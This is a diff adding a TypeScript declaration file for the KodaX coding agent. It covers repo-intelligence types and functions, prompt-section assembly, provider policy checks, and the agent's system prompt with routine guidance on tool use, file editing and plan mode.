+ manifests: string[];
1186
+ sampleFiles: string[];
1187
+ }
1188
+ interface RepoOverview {
1189
+ schemaVersion: number;
1190
+ workspaceRoot: string;
1191
+ source: 'git' | 'filesystem';
1192
+ generatedAt: string;
1193
+ truncated: boolean;
1194
+ git?: {
1195
+ branch?: string;
1196
+ head?: string;
1197
+ hasUncommittedChanges?: boolean;
1198
+ };
1199
+ fileStats: {
1200
+ totalFiles: number;
1201
+ sourceFiles: number;
1202
+ docFiles: number;
1203
+ testFiles: number;
1204
+ configFiles: number;
1205
+ };
1206
+ manifests: string[];
1207
+ keyDocs: string[];
1208
+ entryHints: string[];
1209
+ areas: RepoAreaOverview[];
1210
+ }
1211
+ interface ChangedScopeAreaSummary {
1212
+ areaId: string;
1213
+ label: string;
1214
+ root: string;
1215
+ kind: RepoAreaKind;
1216
+ fileCount: number;
1217
+ files: string[];
1218
+ }
1219
+ interface ChangedFileEntry {
1220
+ path: string;
1221
+ status: ChangedFileStatus;
1222
+ category: 'source' | 'docs' | 'tests' | 'config' | 'other';
1223
+ areaId: string;
1224
+ }
1225
+ interface ChangedScopeReport {
1226
+ schemaVersion: number;
1227
+ workspaceRoot: string;
1228
+ analyzedAt: string;
1229
+ scope: 'unstaged' | 'staged' | 'all' | 'compare';
1230
+ baseRef?: string;
1231
+ overviewGeneratedAt?: string;
1232
+ totalChangedFiles: number;
1233
+ changedLineCount: number;
1234
+ addedLineCount: number;
1235
+ deletedLineCount: number;
1236
+ categories: Record<'source' | 'docs' | 'tests' | 'config' | 'other', number>;
1237
+ areasTouched: ChangedScopeAreaSummary[];
1238
+ files: ChangedFileEntry[];
1239
+ riskHints: string[];
1240
+ }
1241
+ declare function buildRepoOverview(context: Pick<KodaXToolExecutionContext, 'executionCwd' | 'gitRoot'>, targetPath?: string): Promise<RepoOverview>;
1242
+ declare function getRepoOverview(context: Pick<KodaXToolExecutionContext, 'executionCwd' | 'gitRoot'>, options?: {
1243
+ targetPath?: string;
1244
+ refresh?: boolean;
1245
+ }): Promise<RepoOverview>;
1246
+ declare function renderRepoOverview(overview: RepoOverview): string;
1247
+ declare function buildRepoIntelligenceContext(context: Pick<KodaXToolExecutionContext, 'executionCwd' | 'gitRoot'>, options?: {
1248
+ targetPath?: string;
1249
+ includeRepoOverview?: boolean;
1250
+ includeChangedScope?: boolean;
1251
+ refreshOverview?: boolean;
1252
+ changedScope?: 'unstaged' | 'staged' | 'all' | 'compare';
1253
+ baseRef?: string;
1254
+ }): Promise<string>;
1255
+ declare function analyzeChangedScope(context: Pick<KodaXToolExecutionContext, 'executionCwd' | 'gitRoot'>, options?: {
1256
+ targetPath?: string;
1257
+ scope?: 'unstaged' | 'staged' | 'all' | 'compare';
1258
+ baseRef?: string;
1259
+ refreshOverview?: boolean;
1260
+ }): Promise<ChangedScopeReport>;
1261
+ declare function renderChangedScope(report: ChangedScopeReport): string;
1262
+
1263
+ type RepoLanguageId = 'typescript' | 'javascript' | 'python' | 'java' | 'go' | 'rust' | 'cpp' | 'unknown';
1264
+ type LanguageCapabilityTier = 'high' | 'medium' | 'low';
1265
+ type RepoSymbolKind = 'function' | 'class' | 'interface' | 'type' | 'enum' | 'struct' | 'trait' | 'method' | 'constant';
1266
+ interface RepoLanguageSupport {
1267
+ language: RepoLanguageId;
1268
+ capabilityTier: LanguageCapabilityTier;
1269
+ fileCount: number;
1270
+ }
1271
+ interface RepoSymbolReference {
1272
+ symbolId: string;
1273
+ name: string;
1274
+ filePath: string;
1275
+ moduleId: string;
1276
+ reason: 'same-module' | 'imported-module' | 'name-match';
1277
+ }
1278
+ interface RepoSymbolRecord {
1279
+ id: string;
1280
+ name: string;
1281
+ qualifiedName: string;
1282
+ kind: RepoSymbolKind;
1283
+ filePath: string;
1284
+ moduleId: string;
1285
+ language: RepoLanguageId;
1286
+ capabilityTier: LanguageCapabilityTier;
1287
+ line: number;
1288
+ signature: string;
1289
+ exported: boolean;
1290
+ calls: string[];
1291
+ callTargets: RepoSymbolReference[];
1292
+ importPaths: string[];
1293
+ confidence: number;
1294
+ }
1295
+ interface ModuleCapsule {
1296
+ moduleId: string;
1297
+ label: string;
1298
+ kind: RepoAreaKind;
1299
+ root: string;
1300
+ fileCount: number;
1301
+ sourceFileCount: number;
1302
+ symbolCount: number;
1303
+ languages: RepoLanguageSupport[];
1304
+ topSymbols: string[];
1305
+ dependencies: string[];
1306
+ dependents: string[];
1307
+ entryFiles: string[];
1308
+ keyTests: string[];
1309
+ keyDocs: string[];
1310
+ sampleFiles: string[];
1311
+ processIds: string[];
1312
+ confidence: number;
1313
+ }
1314
+ interface ProcessStep {
1315
+ kind: 'entry' | 'imports' | 'calls';
1316
+ symbolName: string;
1317
+ symbolId?: string;
1318
+ filePath: string;
1319
+ note: string;
1320
+ line?: number;
1321
+ }
1322
+ interface ProcessCapsule {
1323
+ id: string;
1324
+ label: string;
1325
+ moduleId: string;
1326
+ entryFile: string;
1327
+ entrySymbol?: string;
1328
+ summary: string;
1329
+ steps: ProcessStep[];
1330
+ confidence: number;
1331
+ }
1332
+ interface RepoIntelligenceIndex {
1333
+ schemaVersion: number;
1334
+ workspaceRoot: string;
1335
+ generatedAt: string;
1336
+ overviewGeneratedAt: string;
1337
+ sourceFileCount: number;
1338
+ sourceFingerprint: string;
1339
+ languages: RepoLanguageSupport[];
1340
+ modules: ModuleCapsule[];
1341
+ symbols: RepoSymbolRecord[];
1342
+ processes: ProcessCapsule[];
1343
+ capability?: KodaXRepoIntelligenceCapability;
1344
+ trace?: KodaXRepoIntelligenceTrace;
1345
+ }
1346
+ interface ModuleContextResult {
1347
+ module: ModuleCapsule;
1348
+ freshness: string;
1349
+ confidence: number;
1350
+ evidence: string[];
1351
+ capability?: KodaXRepoIntelligenceCapability;
1352
+ trace?: KodaXRepoIntelligenceTrace;
1353
+ }
1354
+ interface SymbolContextResult {
1355
+ symbol: RepoSymbolRecord;
1356
+ alternatives: RepoSymbolRecord[];
1357
+ callers: RepoSymbolRecord[];
1358
+ freshness: string;
1359
+ confidence: number;
1360
+ capability?: KodaXRepoIntelligenceCapability;
1361
+ trace?: KodaXRepoIntelligenceTrace;
1362
+ }
1363
+ interface ProcessContextResult {
1364
+ process: ProcessCapsule;
1365
+ alternatives: ProcessCapsule[];
1366
+ freshness: string;
1367
+ confidence: number;
1368
+ capability?: KodaXRepoIntelligenceCapability;
1369
+ trace?: KodaXRepoIntelligenceTrace;
1370
+ }
1371
+ interface ImpactEstimateResult {
1372
+ target: {
1373
+ kind: 'symbol' | 'module' | 'path';
1374
+ label: string;
1375
+ moduleId?: string;
1376
+ filePath?: string;
1377
+ };
1378
+ summary: string;
1379
+ impactedModules: ModuleCapsule[];
1380
+ impactedSymbols: RepoSymbolRecord[];
1381
+ callers: RepoSymbolRecord[];
1382
+ changedScope?: ChangedScopeReport;
1383
+ freshness: string;
1384
+ confidence: number;
1385
+ capability?: KodaXRepoIntelligenceCapability;
1386
+ trace?: KodaXRepoIntelligenceTrace;
1387
+ }
1388
+ declare function renderModuleContext(result: ModuleContextResult): string;
1389
+ declare function renderSymbolContext(result: SymbolContextResult): string;
1390
+ declare function renderProcessContext(result: ProcessContextResult): string;
1391
+ declare function renderImpactEstimate(result: ImpactEstimateResult): string;
1392
+
1393
+ type RepoContext = Pick<KodaXToolExecutionContext, 'executionCwd' | 'gitRoot'>;
1394
+ declare function buildRepoIntelligenceIndex(context: RepoContext, options?: {
1395
+ targetPath?: string;
1396
+ refresh?: boolean;
1397
+ }): Promise<RepoIntelligenceIndex>;
1398
+ declare function getRepoIntelligenceIndex(context: RepoContext, options?: {
1399
+ targetPath?: string;
1400
+ refresh?: boolean;
1401
+ }): Promise<RepoIntelligenceIndex>;
1402
+ declare function getModuleContext(context: RepoContext, options?: {
1403
+ module?: string;
1404
+ targetPath?: string;
1405
+ refresh?: boolean;
1406
+ mode?: KodaXRepoIntelligenceMode;
1407
+ }): Promise<ModuleContextResult>;
1408
+ declare function getSymbolContext(context: RepoContext, options: {
1409
+ symbol: string;
1410
+ module?: string;
1411
+ targetPath?: string;
1412
+ refresh?: boolean;
1413
+ mode?: KodaXRepoIntelligenceMode;
1414
+ }): Promise<SymbolContextResult>;
1415
+ declare function getProcessContext(context: RepoContext, options: {
1416
+ entry?: string;
1417
+ module?: string;
1418
+ targetPath?: string;
1419
+ refresh?: boolean;
1420
+ mode?: KodaXRepoIntelligenceMode;
1421
+ }): Promise<ProcessContextResult>;
1422
+ declare function getImpactEstimate(context: RepoContext, options: {
1423
+ symbol?: string;
1424
+ module?: string;
1425
+ path?: string;
1426
+ targetPath?: string;
1427
+ refresh?: boolean;
1428
+ mode?: KodaXRepoIntelligenceMode;
1429
+ }): Promise<ImpactEstimateResult>;
1430
+ declare function getRepoRoutingSignals(context: RepoContext, options?: {
1431
+ targetPath?: string;
1432
+ refresh?: boolean;
1433
+ mode?: KodaXRepoIntelligenceMode;
1434
+ }): Promise<KodaXRepoRoutingSignals>;
1435
+ /**
1436
+ * v0.7.41 L2 — best-effort warm both session-level caches (routing signals +
1437
+ * preturn bundle) for a given workspace. Designed to be called fire-and-forget
1438
+ * at REPL startup so the first user prompt finds the in-process caches warm.
1439
+ *
1440
+ * Why this works (and why M1's `refresh:true` design did NOT):
1441
+ * - Uses `refresh: false` (4s budget) — daemon returns its already-cached
1442
+ * state immediately. Total prewarm wall-time is typically 1-2s.
1443
+ * - Daemon's own background polling keeps its state fresh; we don't need
1444
+ * to force a refresh on every REPL startup.
1445
+ * - If user submits BEFORE prewarm completes, P2 in-flight Promise sharing
1446
+ * coalesces both calls onto the same 4s daemon round-trip. The user pays
1447
+ * at most ~2s, NOT the 30s budget that `refresh:true` would burn.
1448
+ * - If user submits AFTER prewarm completes, P3+ session cache (60s TTL)
1449
+ * serves the result in ~0ms.
1450
+ * - The middleware/first-round path (L1) also uses `refresh:false`, so
1451
+ * prewarm and user-path are cache-coherent — the user-path call genuinely
1452
+ * hits the warmed entry instead of being forced to bypass it.
1453
+ *
1454
+ * Failure modes:
1455
+ * - All calls `.catch(() => {})` — prewarm is best-effort. If the daemon
1456
+ * is down, the first prompt falls back to OSS as before.
1457
+ * - `off` mode short-circuits — no work at all when repo intelligence
1458
+ * is disabled.
1459
+ */
1460
+ declare function prewarmRepoIntelligenceCaches(context: RepoContext, options?: {
1461
+ mode?: KodaXRepoIntelligenceMode;
1462
+ }): void;
1463
+
1464
+ declare const REPOINTEL_DEFAULT_ENDPOINT = "http://127.0.0.1:47891";
1465
+
1466
+ type RepoIntelligenceRequestedBridge = 'none' | 'shared' | 'native';
1467
+ type RepoIntelligenceEffectiveEngine = 'off' | 'oss' | 'premium';
1468
+ type RepoIntelligenceRuntimeStatus = 'disabled' | 'ok' | 'limited' | 'unavailable' | 'warming';
1469
+ type PremiumTransport = 'daemon' | 'direct';
1470
+ interface RepoIntelligenceRuntimeInspection {
1471
+ configuredMode: KodaXRepoIntelligenceMode;
1472
+ requestedMode: KodaXRepoIntelligenceResolvedMode;
1473
+ endpoint: string;
1474
+ bin: string;
1475
+ traceEnabled: boolean;
1476
+ requestedBridge: RepoIntelligenceRequestedBridge;
1477
+ effectiveEngine: RepoIntelligenceEffectiveEngine;
1478
+ effectiveBridge: RepoIntelligenceRequestedBridge;
1479
+ status: RepoIntelligenceRuntimeStatus;
1480
+ fallbackToOss: boolean;
1481
+ warnings: string[];
1482
+ error?: string;
1483
+ transport?: PremiumTransport;
1484
+ clientBuildId?: string;
1485
+ daemonBuildId?: string;
1486
+ daemonStartedAt?: string;
1487
+ daemonPid?: number;
1488
+ }
1489
+ interface RepoIntelligenceRuntimeWarmResult extends RepoIntelligenceRuntimeInspection {
1490
+ warmed: boolean;
1491
+ warmLatencyMs?: number;
1492
+ }
1493
+ interface RepoIntelligenceRuntimeConfig {
1494
+ mode: KodaXRepoIntelligenceMode;
1495
+ endpoint: string;
1496
+ bin: string;
1497
+ trace: boolean;
1498
+ }
1499
+ declare function resolveRepoIntelligenceRuntimeConfig(modeOverride?: KodaXRepoIntelligenceMode, traceOverride?: boolean): RepoIntelligenceRuntimeConfig;
1500
+ declare function resolveRepoIntelligenceMode(modeOverride?: KodaXRepoIntelligenceMode): KodaXRepoIntelligenceResolvedMode;
1501
+ declare function inspectRepoIntelligenceRuntime(options?: {
1502
+ mode?: KodaXRepoIntelligenceMode;
1503
+ trace?: boolean;
1504
+ probePremium?: boolean;
1505
+ }): Promise<RepoIntelligenceRuntimeInspection>;
1506
+ declare function warmRepoIntelligenceRuntime(options?: {
1507
+ mode?: KodaXRepoIntelligenceMode;
1508
+ trace?: boolean;
1509
+ }): Promise<RepoIntelligenceRuntimeWarmResult>;
1510
+
1511
+ declare const SYSTEM_PROMPT = "You are KodaX, a helpful multi-provider coding agent. You can read, write, and edit files, and execute shell commands.\n\n## Error Handling\n\nWhen a tool call returns an error:\n1. STOP and READ the error message carefully\n2. DO NOT repeat the same tool call with the same parameters\n3. Identify what's wrong (missing parameter? wrong type? wrong path?)\n4. Fix the issue BEFORE making another tool call\n5. Common errors:\n - \"Missing required parameter 'X'\" -> Add the missing parameter to your JSON\n - \"File not found\" -> Check the path with read or glob first\n - \"String not found\" -> Read the file again to see exact content\n\nWhen a shell command fails, prefer this recovery order:\n1. Check whether a specialized tool can solve the task directly\n2. Fix the command itself (quoting, workdir, platform-specific command, smaller scope)\n3. Split the task into smaller read/edit/write steps\n4. Only create a helper script when repeated inline commands are clearly less safe or less maintainable\n\n## Editing Files\n\n- Always read the file first to understand its current content\n- Make precise, targeted edits rather than rewriting entire files\n- Preserve the existing code style and formatting\n- Do not create new files unless the user asks for one or the task genuinely needs one. Prefer editing an existing file to creating a new one, as this prevents file bloat and keeps each tool call small\n- When a modification is scoped to an existing file, ALWAYS prefer `edit` over `write`. Only fall back to `write` when no file exists yet or the user explicitly requested a complete rewrite\n\n## Tool Usage\n\nPrefer specialized tools over shell for file operations:\n- Use read to view files instead of cat, head, or tail\n- Use edit to modify existing files instead of sed or awk when possible\n- Use write to create new files instead of echo redirection or heredocs\n- Use glob or grep for file discovery and content search before falling back to shell\n- When multiple read-only tool calls are independent, emit them in the same response so parallel mode can run them together\n- Only serialize tool calls when a later call depends on an earlier result\n- Keep parallel batches focused: prefer a few narrow grep/read/diff calls over many tiny sequential probes\n\nRead is intentionally bounded:\n- A single read call only returns a limited slice of a file\n- For large files, continue with offset/limit instead of retrying a whole-file read\n- Prefer grep first, then read the specific section you need\n\nTool outputs are also bounded:\n- Large bash output may be truncated to the tail\n- Large grep results and diffs may be summarized\n- When you see a truncation hint, narrow the next tool call instead of repeating the same broad request\n- If edit fails to find a stable anchor, do not rewrite the entire existing file with write; retry with a smaller unique edit anchor or use insert_after_anchor for section appends\n\nIf you truly need a script:\n- Do NOT create temporary scripts or scratch files in the project root\n- Do NOT place them at `.agent/` top level \u2014 that directory is reserved for system-managed artifacts (managed-tasks/, project/, repo-intelligence/, etc.)\n- Write them to `.agent/tmp/` (relative to the git root). This is the designated ephemeral workspace; files there can be safely cleaned up later\n- Alternatively, use the system temp directory if the script does not need to be inspectable from the project\n- Treat helper scripts as a last resort, not the default recovery path\n\n## Shell Commands\n\n- Be careful with destructive operations\n- Reserve shell commands for terminal operations such as git, package managers, builds, tests, and system commands\n- Prefer read-only operations when possible\n- For file edits, prefer read/edit/write over shell transforms unless shell scripting is genuinely more efficient\n\n### Cross-Platform Notes\n\nDifferent platforms have different commands:\n- Move: `move` (Windows) vs `mv` (Unix/Mac)\n- List: `dir` (Windows) vs `ls` (Unix/Mac)\n- Delete: `del` (Windows) vs `rm` (Unix/Mac)\n\n**IMPORTANT: Directories are created automatically by the `write` tool.**\n- NEVER use `mkdir` before writing files - the write tool handles directory creation\n- If you truly need an empty directory: `mkdir dir` (Windows) or `mkdir -p dir` (Unix)\n\nIf you see \"not recognized\", \"\u4E0D\u662F\u5185\u90E8\u6216\u5916\u90E8\u547D\u4EE4\", or a similar shell lookup error, the command does not exist on this platform. Try the platform equivalent.\n\n## Multi-step Tasks\n\n- Track your progress by listing what you've done and what's next\n- Break complex tasks into smaller steps\n- Summarize progress periodically\n\n## Plan Before Action\n\nFor any non-trivial task (creating files, editing code, running complex commands):\n1. First explain your understanding of the task\n2. Outline your approach (what files, what changes, what order)\n3. Consider potential issues (edge cases, dependencies, conflicts)\n4. Then execute step by step\n\nFor simple read-only tasks (reading a file, listing directory), just do it directly.\n\nIf the environment is currently in a read-only planning mode:\n- Do not try to write files or run mutating shell commands during planning\n- Finish the plan first\n- After the plan is complete, use `ask_user_question` to ask whether the user wants to proceed with implementation\n- If the user confirms, call `set_permission_mode` with `mode: \"accept-edits\"` to switch to implementation mode\n- If the user declines, stay in plan mode \u2014 do NOT call `set_permission_mode`\n\n## Asking User Questions\n\nWhen you need the user to make decisions, use `ask_user_question`.\n- For **multiple independent questions**, use the `questions` array (1-4 items). Each question has its own `question`, `header`, `options`, and optional `multi_select`. The user answers each question separately. Do NOT combine multiple questions into a single question string with pre-combined option combinations.\n- For a **single question**, use the `question` + `options` fields as before.\n- For **free-text input**, use `kind: \"input\"`.\n\nAlways explain what you're doing before taking action.\n\n{context}";
1512
+
1513
+ type KodaXPromptSectionSlot = 'base' | 'runtime-context' | 'session-context' | 'capability-truth' | 'base-suffix' | 'mode-overlay' | 'project-rules' | 'skill-addendum' | 'specialist';
1514
+ type KodaXPromptSectionStability = 'stable' | 'dynamic' | 'project' | 'specialist';
1515
+ interface KodaXPromptSectionDefinition {
1516
+ id: string;
1517
+ title: string;
1518
+ owner: 'prompts' | 'reasoning' | 'project' | 'skills' | 'agent';
1519
+ feature: string;
1520
+ slot: KodaXPromptSectionSlot;
1521
+ order: number;
1522
+ stability: KodaXPromptSectionStability;
1523
+ }
1524
+ interface KodaXPromptSection extends KodaXPromptSectionDefinition {
1525
+ inclusionReason: string;
1526
+ content: string;
1527
+ }
1528
+ interface KodaXPromptSnapshotMetadata {
1529
+ isNewSession: boolean;
1530
+ executionCwd: string;
1531
+ projectRoot: string;
1532
+ longRunning: boolean;
1533
+ }
1534
+ interface KodaXPromptSnapshot {
1535
+ kind: 'system';
1536
+ sections: KodaXPromptSection[];
1537
+ rendered: string;
1538
+ hash: string;
1539
+ metadata: KodaXPromptSnapshotMetadata;
1540
+ }
1541
+ declare const PROMPT_SECTION_REGISTRY: Record<string, KodaXPromptSectionDefinition>;
1542
+ declare function createPromptSection(id: keyof typeof PROMPT_SECTION_REGISTRY, content: string, inclusionReason: string): KodaXPromptSection;
1543
+ declare function orderPromptSections(sections: KodaXPromptSection[]): KodaXPromptSection[];
1544
+ declare function renderPromptSections(sections: KodaXPromptSection[]): string;
1545
+ declare function buildPromptSnapshot(sections: KodaXPromptSection[], metadata: KodaXPromptSnapshotMetadata): KodaXPromptSnapshot;
1546
+
1547
+ /**
1548
+ * KodaX Prompt Builder
1549
+ *
1550
+ * Builds effective prompts through an explicit section registry so prompt
1551
+ * truth can be snapshotted, attributed, and regression-tested.
1552
+ *
1553
+ * v0.7.35.1 FEATURE_142 Batch E: the 13 capability-context sections
1554
+ * formerly inlined here have been hoisted to
1555
+ * `./capability-sections.ts:buildCapabilityContextSections`. This file
1556
+ * keeps the SA-path orchestration (cwd resolution, snapshot assembly)
1557
+ * and delegates section construction to the shared helper. SA output
1558
+ * is byte-equivalent to the pre-Batch E rendering — `builder.test.ts`
1559
+ * is the integration-level guard for that contract.
1560
+ */
1561
+
1562
+ /**
1563
+ * Build a sectionized snapshot of the effective system prompt.
1564
+ */
1565
+ declare function buildSystemPromptSnapshot(options: KodaXOptions, isNewSession: boolean): Promise<KodaXPromptSnapshot>;
1566
+ /**
1567
+ * Build the rendered system prompt used for provider calls.
1568
+ */
1569
+ declare function buildSystemPrompt(options: KodaXOptions, isNewSession: boolean): Promise<string>;
1570
+
1571
+ /**
1572
+ * v0.7.35.1 FEATURE_142 Batch E — Capability Context Sections.
1573
+ *
1574
+ * Single source of truth for the 13 capability-context prompt sections
1575
+ * the SA path (`buildSystemPromptSnapshot` in `builder.ts`) assembles.
1576
+ * Extracted to dedupe with a future AMA worker integration (Batch F /
1577
+ * v0.7.36 FEATURE_143). Each section's id, order, content shape, and
1578
+ * inclusion condition is preserved byte-equivalently from
1579
+ * builder.ts:32-181 (pre-Batch E).
1580
+ *
1581
+ * The 13 sections, in order:
1582
+ * 1. base-system (always)
1583
+ * 2. base-system-suffix (when SYSTEM_PROMPT has `{context}` marker)
1584
+ * 3. environment-context (always)
1585
+ * 4. runtime-fact (when provider or model is set)
1586
+ * 5. working-directory (always)
1587
+ * 6. git-context (when isNewSession AND repo has git output)
1588
+ * 7. project-snapshot (when isNewSession)
1589
+ * 8. repo-intelligence-context (when context.repoIntelligenceContext)
1590
+ * 9. mcp-capability-context (when extensionRuntime returns mcp ctx)
1591
+ * 10. prompt-overlay (when context.promptOverlay)
1592
+ * 11. project-agents (when AGENTS.md / CLAUDE.md found)
1593
+ * 12. skills-addendum (when context.skillsPrompt)
1594
+ * 13. tool-construction (when toolConstructionMode includes it)
1595
+ *
1596
+ * Why this lives in `@kodax-ai/coding/src/prompts/` and NOT
1597
+ * `@kodax-ai/agent/`:
1598
+ * - All callers (builder.ts SA path + future AMA role-prompt) are
1599
+ * coding-internal. A future `@kodax-ai/data-analysis-agent` would
1600
+ * have its own builder + role-prompt with its own section set
1601
+ * (e.g. `prompt-overlay` is coding-routing-specific). Cross-agent
1602
+ * reuse is at the **pattern** level (each agent has its own
1603
+ * `capability-sections.ts`), not the **content** level.
1604
+ * - Hoisting to `@kodax-ai/agent/` would force `@kodax-ai/agent` →
1605
+ * `@kodax-ai/skills` / `@kodax-ai/mcp` cross-package dependencies,
1606
+ * breaking the "agent doesn't depend on application-layer
1607
+ * packages" promise.
1608
+ * - The drift problem this batch solves is "SA / AMA assemble the
1609
+ * same content twice" — a coding-internal duplication, not a
1610
+ * cross-package boundary issue.
1611
+ *
1612
+ * Behavior contract: the SA path's emitted sections array (and thus
1613
+ * `KodaXPromptSnapshot.rendered`) MUST stay byte-equivalent to the
1614
+ * pre-Batch E `buildSystemPromptSnapshot` output. `builder.test.ts` is
1615
+ * the integration-level guard for this contract.
1616
+ */
1617
+
1618
+ /**
1619
+ * Build the full ordered set of capability-context prompt sections for
1620
+ * the given options + session state. The caller is responsible for
1621
+ * passing the result to `buildPromptSnapshot()` (or whatever assembler
1622
+ * the agent uses); this helper only emits the section list.
1623
+ *
1624
+ * `executionCwd` is OPTIONAL — when omitted, this helper calls
1625
+ * `resolveExecutionCwd(options.context)` internally. Passing it
1626
+ * explicitly is supported as a perf shortcut for callers that have
1627
+ * already resolved cwd for other purposes (e.g. `builder.ts` uses the
1628
+ * same value to populate the snapshot's `executionCwd` field), but
1629
+ * **the explicit value MUST equal `resolveExecutionCwd(options.context)`
1630
+ * or the `working-directory` section will diverge from the snapshot
1631
+ * metadata** — a subtle source of drift if a future caller resolves
1632
+ * cwd differently. Prefer the no-arg form unless you have a documented
1633
+ * reason to override.
1634
+ */
1635
+ declare function buildCapabilityContextSections(options: KodaXOptions, isNewSession: boolean, executionCwdOverride?: string): Promise<KodaXPromptSection[]>;
1636
+
1637
+ declare function checkIncompleteToolCalls(toolBlocks: KodaXToolUseBlock[]): string[];
1638
+
1639
+ /**
1640
+ * Prompt content builder — CAP-009
1641
+ *
1642
+ * Capability inventory: docs/features/v0.7.29-capability-inventory.md#cap-009
1643
+ *
1644
+ * Pure function that turns the entry user prompt into the right shape for
1645
+ * the provider's first message:
1646
+ *
1647
+ * - text-only prompt + no input artifacts → return the string as-is
1648
+ * (lets the provider use its compact text-message path)
1649
+ * - text + image artifacts (paste / drag) → return a multimodal content
1650
+ * block array: a text block followed by one image block per artifact
1651
+ *
1652
+ * Always applied at the SINGLE SA entry-message build site
1653
+ * (`agent.ts:1263`); the runner-driven (AMA) path hits the same function via
1654
+ * the package re-export.
1655
+ *
1656
+ * Migration history: extracted from `input-artifacts.ts` to `agent-runtime/`
1657
+ * during FEATURE_100 P2. The companion `extractPromptComparableText` /
1658
+ * `extractComparableUserMessageText` helpers stay in `input-artifacts.ts`
1659
+ * for now; they migrate to `agent-runtime/middleware/auto-resume.ts` when
1660
+ * CAP-046 (duplicate-message detection) lands.
1661
+ */
1662
+
1663
+ declare function buildPromptMessageContent(prompt: string, inputArtifacts?: readonly KodaXInputArtifact[]): string | KodaXContentBlock[];
1664
+
1665
+ /**
1666
+ * Auto-resume / session-continuation middleware — CAP-008 + CAP-046
1667
+ *
1668
+ * Capability inventory:
1669
+ * - docs/features/v0.7.29-capability-inventory.md#cap-008-initialmessages-session-continuation
1670
+ * - docs/features/v0.7.29-capability-inventory.md#cap-046-duplicate-user-message-detection
1671
+ *
1672
+ * Three concerns colocated here because they are all triggered at frame
1673
+ * entry and consume the same `KodaXOptions.session` field:
1674
+ *
1675
+ * 1. **`extractPromptComparableText` / `extractComparableUserMessageText`**
1676
+ * — canonicalise text content for the duplicate-message check
1677
+ * (returns string for primitive content, joined text-block content
1678
+ * otherwise). Re-exported from `../../input-artifacts.ts` to preserve
1679
+ * the public API path.
1680
+ *
1681
+ * 2. **`resolveInitialMessages`** (CAP-008) — at frame entry, picks ONE
1682
+ * of three source paths and returns the resolved transcript bundle:
1683
+ * a. `options.session.initialMessages` provided (REPL multi-turn,
1684
+ * plan-mode replay) → clone + extract title from messages.
1685
+ * b. `options.session.storage` + `sessionId` provided → load and
1686
+ * normalise via `normalizeLoadedSessionMessages` (FEATURE_076
1687
+ * Q4 worker-trace shape repair).
1688
+ * c. neither → returns empty messages, no title, no metadata.
1689
+ *
1690
+ * 3. **`appendPromptIfNotDuplicate`** (CAP-046) — pushes a fresh
1691
+ * `user` message UNLESS the last message of the transcript is
1692
+ * already that prompt (canonical compare). Prevents double-push
1693
+ * when REPL re-feeds the same prompt to a mid-flight `runKodaX`.
1694
+ *
1695
+ * Migration history:
1696
+ * - `extractPromptComparableText` + `extractComparableUserMessageText`
1697
+ * moved here from `input-artifacts.ts:11-32` (deferred from CAP-009
1698
+ * extraction in earlier P2 batches).
1699
+ * - `resolveInitialMessages` extracted from `agent.ts:1485-1503` (the
1700
+ * `if (options.session?.initialMessages...)` block — pre-FEATURE_100
1701
+ * baseline).
1702
+ * - `appendPromptIfNotDuplicate` extracted from `agent.ts:1503-1511`
1703
+ * (the duplicate-detection + push block — pre-FEATURE_100 baseline).
1704
+ *
1705
+ * All extractions during FEATURE_100 P2.
1706
+ */
1707
+
1708
+ declare function extractPromptComparableText(content: string | readonly KodaXContentBlock[]): string;
1709
+ declare function extractComparableUserMessageText(message: KodaXMessage | undefined): string | undefined;
1710
+
1711
+ type KodaXProviderSourceKind = 'builtin' | 'runtime' | 'custom' | 'unknown';
1712
+ interface KodaXProviderCapabilitySnapshot {
1713
+ provider: string;
1714
+ model?: string;
1715
+ sourceKind: KodaXProviderSourceKind;
1716
+ transport: KodaXProviderCapabilityProfile['transport'];
1717
+ conversationSemantics: KodaXProviderCapabilityProfile['conversationSemantics'];
1718
+ mcpSupport: KodaXProviderCapabilityProfile['mcpSupport'];
1719
+ contextFidelity: NonNullable<KodaXProviderCapabilityProfile['contextFidelity']>;
1720
+ toolCallingFidelity: NonNullable<KodaXProviderCapabilityProfile['toolCallingFidelity']>;
1721
+ sessionSupport: NonNullable<KodaXProviderCapabilityProfile['sessionSupport']>;
1722
+ longRunningSupport: NonNullable<KodaXProviderCapabilityProfile['longRunningSupport']>;
1723
+ multimodalSupport: NonNullable<KodaXProviderCapabilityProfile['multimodalSupport']>;
1724
+ evidenceSupport: NonNullable<KodaXProviderCapabilityProfile['evidenceSupport']>;
1725
+ reasoningCapability: KodaXReasoningCapability;
1726
+ }
1727
+ type KodaXProviderPolicyIssueSeverity = 'warn' | 'block';
1728
+ interface KodaXProviderPolicyIssue {
1729
+ code: string;
1730
+ severity: KodaXProviderPolicyIssueSeverity;
1731
+ summary: string;
1732
+ detail: string;
1733
+ }
1734
+ interface KodaXProviderPolicyDecision {
1735
+ status: 'allow' | 'warn' | 'block';
1736
+ snapshot: KodaXProviderCapabilitySnapshot;
1737
+ issues: KodaXProviderPolicyIssue[];
1738
+ routingNotes: string[];
1739
+ summary: string;
1740
+ }
1741
+ interface EvaluateProviderPolicyOptions {
1742
+ providerName: string;
1743
+ model?: string;
1744
+ provider?: KodaXBaseProvider;
1745
+ capabilityProfile?: KodaXProviderCapabilityProfile;
1746
+ reasoningCapability?: KodaXReasoningCapability;
1747
+ prompt?: string;
1748
+ options?: Pick<KodaXOptions, 'context'>;
1749
+ context?: KodaXContextOptions;
1750
+ hints?: KodaXProviderPolicyHints;
1751
+ reasoningMode?: KodaXReasoningMode;
1752
+ taskType?: KodaXTaskType;
1753
+ executionMode?: KodaXExecutionMode;
1754
+ }
1755
+ declare function buildProviderCapabilitySnapshot(options: {
1756
+ providerName: string;
1757
+ model?: string;
1758
+ provider?: KodaXBaseProvider;
1759
+ capabilityProfile?: KodaXProviderCapabilityProfile;
1760
+ reasoningCapability?: KodaXReasoningCapability;
1761
+ }): KodaXProviderCapabilitySnapshot;
1762
+ declare function buildProviderPolicyPromptNotes(decision: KodaXProviderPolicyDecision): string[];
1763
+ declare function evaluateProviderPolicy(options: EvaluateProviderPolicyOptions): KodaXProviderPolicyDecision;
1764
+
1765
+ interface ReasoningPlan {
1766
+ mode: KodaXReasoningMode;
1767
+ depth: KodaXThinkingDepth;
1768
+ decision: KodaXTaskRoutingDecision;
1769
+ amaControllerDecision: KodaXAmaControllerDecision;
1770
+ promptOverlay: string;
1771
+ providerPolicy?: KodaXProviderPolicyDecision;
1772
+ }
1773
+ interface RoutingEvidenceInput {
1774
+ recentMessages?: KodaXMessage[];
1775
